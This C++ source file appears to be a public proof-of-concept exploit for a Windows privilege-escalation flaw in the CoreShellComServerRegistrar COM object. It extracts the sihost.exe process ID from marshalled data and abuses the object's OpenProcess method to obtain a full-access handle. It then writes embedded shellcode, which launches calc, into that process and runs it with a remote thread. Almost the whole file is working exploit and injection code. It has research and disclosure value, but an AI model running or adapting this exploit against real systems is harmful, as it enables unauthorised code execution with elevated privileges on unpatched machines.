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| // Axel '0vercl0k' Souchet - December 28 2019 | |
| // References: | |
| // - Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun | |
| // - https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object | |
| // - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sserver/sserver.cpp | |
| // - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sclient/sclient.cpp | |
| #include <windows.h> | |
| #include <cstdint> | |
| #include <atlbase.h> | |
| // 54E14197-88B0-442F-B9A3-86837061E2FB | |
| // .rdata:0000000000014108 CLSID_CoreShellComServerRegistrar dd 54E14197h ; Data1 | |
| // .rdata:0000000000014108 dw 88B0h ; Data2 | |
| // .rdata:0000000000014108 dw 442Fh ; Data3 | |
| // .rdata:0000000000014108 db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4 | |
| const GUID CLSID_CoreShellComServerRegistrar = { | |
| 0x54e14197, 0x88b0, 0x442f, { | |
| 0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb | |
| }}; | |
| // 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7 | |
| // .rdata:00000000000140B8 GuidICOMServerRegistrar dd 27EB33A5h ; Data1 | |
| // .rdata:00000000000140B8 dw 77F9h ; Data2 | |
| // .rdata:00000000000140B8 dw 4AFEh ; Data3 | |
| // .rdata:00000000000140B8 db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4 | |
| MIDL_INTERFACE("27EB33A5-77F9-4AFE-AE05-6FDBBE720EE7") | |
| ICoreShellComServerRegistrar : public IUnknown { | |
| // 0:015> dqs 00007ff8`3fe526e8 | |
| // [...] | |
| // 00007ff8`3fe52730 00007ff8`3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface | |
| // 00007ff8`3fe52738 00007ff8`3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef | |
| // 00007ff8`3fe52740 00007ff8`3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release | |
| // 00007ff8`3fe52748 00007ff8`3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer | |
| // 00007ff8`3fe52750 00007ff8`3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer | |
| // 00007ff8`3fe52758 00007ff8`3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle | |
| // 00007ff8`3fe52760 00007ff8`3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess | |
| virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0; | |
| virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0; | |
| virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0; | |
| virtual HRESULT STDMETHODCALLTYPE OpenProcess( | |
| const uint32_t DesiredAccess, | |
| const bool InheritHandle, | |
| const uint32_t ArbitraryPid, | |
| const uint32_t TargetProcessId, | |
| HANDLE *ProcessHandle | |
| ) = 0; | |
| }; | |
| struct Marshalled_t { | |
| uint32_t Meow; | |
| uint32_t ObjRefType; | |
| GUID IfaceId; | |
| uint32_t Flags; | |
| uint32_t References; | |
| uint64_t Oxid; | |
| uint64_t Oid; | |
| union { | |
| uint64_t IfacePointerIdLow; | |
| struct { | |
| uint64_t _Dummy1 : 32; | |
| uint64_t ServerPid : 16; | |
| }; | |
| }; | |
| uint64_t IfacePointerIdHigh; | |
| }; | |
| int main() { | |
| // | |
| // Initialize COM. | |
| // | |
| HRESULT Hr = CoInitialize(nullptr); | |
| if(FAILED(Hr)) { | |
| printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back."); | |
| return EXIT_FAILURE; | |
| } | |
| // | |
| // Instantiate an out-of-proc instance of `ICoreShellComServerRegistrar`. | |
| // | |
| CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar; | |
| Hr = ComServerRegistrar.CoCreateInstance( | |
| CLSID_CoreShellComServerRegistrar, | |
| nullptr, | |
| CLSCTX_LOCAL_SERVER | |
| ); | |
| if(FAILED(Hr)) { | |
| printf("You are probably not vulnerable (%08x) bailing out.", Hr); | |
| return EXIT_FAILURE; | |
| } | |
| // | |
| // We don't use the copy ctor here to avoid leaking the object as the returned | |
| // stream already has its refcount bumped by `SHCreateMemStream`. | |
| // | |
| CComPtr<IStream> Stream; | |
| Stream.Attach(SHCreateMemStream(nullptr, 0)); | |
| // | |
| // Get the marshalled data for the `ICoreShellComServerRegistrar` interface, so | |
| // that we can extract the PID of the COM server (sihost.exe) in this case. | |
| // https://twitter.com/tiraniddo/status/1208073552282488833 | |
| // | |
| Hr = CoMarshalInterface( | |
| Stream, | |
| __uuidof(ICoreShellComServerRegistrar), | |
| ComServerRegistrar, | |
| MSHCTX_LOCAL, | |
| nullptr, | |
| MSHLFLAGS_NORMAL | |
| ); | |
| if(FAILED(Hr)) { | |
| printf("Failed to marshal the interface (%08x) bailing out.", Hr); | |
| return EXIT_FAILURE; | |
| } | |
| // | |
| // Read the PID out of the blob now. | |
| // | |
| const LARGE_INTEGER Origin {}; | |
| Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr); | |
| uint8_t Buffer[0x1000] {}; | |
| Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr); | |
| union { | |
| Marshalled_t *Blob; | |
| void *Raw; | |
| } Ptr; | |
| Ptr.Raw = Buffer; | |
| const uint32_t SihostPid = Ptr.Blob->ServerPid; | |
| // | |
| // Ready to get a `PROCESS_ALL_ACCESS` handle to the server now! | |
| // | |
| HANDLE ProcessHandle; | |
| Hr = ComServerRegistrar->OpenProcess( | |
| PROCESS_ALL_ACCESS, | |
| false, | |
| SihostPid, | |
| GetCurrentProcessId(), | |
| &ProcessHandle | |
| ); | |
| if(FAILED(Hr)) { | |
| printf("Failed to OpenProcess (%08x) bailing out.", Hr); | |
| return EXIT_FAILURE; | |
| } | |
| // | |
| // Allocate executable memory in the target. | |
| // | |
| const auto ShellcodeAddress = LPTHREAD_START_ROUTINE(VirtualAllocEx( | |
| ProcessHandle, | |
| nullptr, | |
| 0x1000, | |
| MEM_COMMIT | MEM_RESERVE, | |
| PAGE_EXECUTE_READWRITE | |
| )); | |
| if(ShellcodeAddress == nullptr) { | |
| printf("Failed to VirtualAllocEx memory in the target process (%d) bailing out.", GetLastError()); | |
| return EXIT_FAILURE; | |
| } | |
| // | |
| // This is a CreateProcess(calc) shellcode generated with scc, see payload.cc. | |
| // | |
| const uint8_t Shellcode[] { | |
| 0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x55, 0x48, 0x8b, 0xec, | |
| 0x48, 0x8d, 0x64, 0x24, 0xf0, 0x48, 0x8d, 0x05, 0x42, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0, | |
| 0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x3a, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48, | |
| 0x8d, 0x55, 0xf0, 0xe8, 0x63, 0x01, 0x00, 0x00, 0xe8, 0xbf, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x53, | |
| 0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48, | |
| 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74, | |
| 0x13, 0xeb, 0x08, 0x4c, 0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45, | |
| 0x33, 0xd2, 0xeb, 0x09, 0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46, | |
| 0x58, 0x66, 0x44, 0x3b, 0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83, | |
| 0xc0, 0x02, 0x66, 0x45, 0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41, | |
| 0x8b, 0xc3, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45, | |
| 0x0f, 0xb7, 0xca, 0x4d, 0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8, | |
| 0x61, 0x72, 0x15, 0xeb, 0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20, | |
| 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9, | |
| 0x4c, 0x8b, 0x56, 0x30, 0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b, | |
| 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41, | |
| 0x8b, 0x41, 0x18, 0x44, 0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3, | |
| 0x01, 0xeb, 0xec, 0x41, 0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3, | |
| 0x48, 0x8b, 0xc3, 0x4a, 0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33, | |
| 0xc0, 0x48, 0x8b, 0xdf, 0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83, | |
| 0xfb, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41, | |
| 0xc1, 0xe8, 0x0d, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb, | |
| 0xd0, 0x41, 0x8b, 0x41, 0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d, | |
| 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66, | |
| 0x8b, 0x00, 0x0f, 0xb7, 0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03, | |
| 0xd0, 0x49, 0x8b, 0xc2, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54, | |
| 0x55, 0x48, 0x8b, 0xec, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8, | |
| 0x00, 0x74, 0x0e, 0x48, 0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb, | |
| 0x07, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8, | |
| 0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48, | |
| 0x83, 0xc3, 0x08, 0xeb, 0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48, | |
| 0x8d, 0x04, 0xc8, 0x48, 0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b, | |
| 0xec, 0x48, 0x8d, 0xa4, 0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff, | |
| 0x32, 0xc0, 0x6a, 0x68, 0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00, | |
| 0x00, 0x48, 0x8d, 0x05, 0x4a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff, | |
| 0xff, 0xff, 0x48, 0x8d, 0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41, | |
| 0x52, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d, | |
| 0x05, 0x09, 0x00, 0x00, 0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xc9, 0x5f, 0xc3, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x00, 0x00, | |
| 0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00 | |
| }; | |
| if(!WriteProcessMemory( | |
| ProcessHandle, | |
| ShellcodeAddress, | |
| Shellcode, | |
| sizeof(Shellcode), | |
| nullptr | |
| )) { | |
| printf("Failed to WriteProcessMemory in the target process (%d) bailing out.", GetLastError()); | |
| // | |
| // At least clean up the remote process D: | |
| // | |
| VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE); | |
| return EXIT_FAILURE; | |
| } | |
| // | |
| // Creating a remote thread on the shellcode now. | |
| // | |
| DWORD ThreadId; | |
| HANDLE ThreadHandle = CreateRemoteThread( | |
| ProcessHandle, | |
| nullptr, | |
| 0, | |
| ShellcodeAddress, | |
| nullptr, | |
| 0, | |
| &ThreadId | |
| ); | |
| // | |
| // Waiting for the thread to end.. | |
| // | |
| WaitForSingleObject(ThreadHandle, INFINITE); | |
| // | |
| // All right, we are done here, let's clean up and exit. | |
| // | |
| VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE); | |
| printf("Payload has been successfully injected in %d.", SihostPid); | |
| return EXIT_SUCCESS; | |
| } |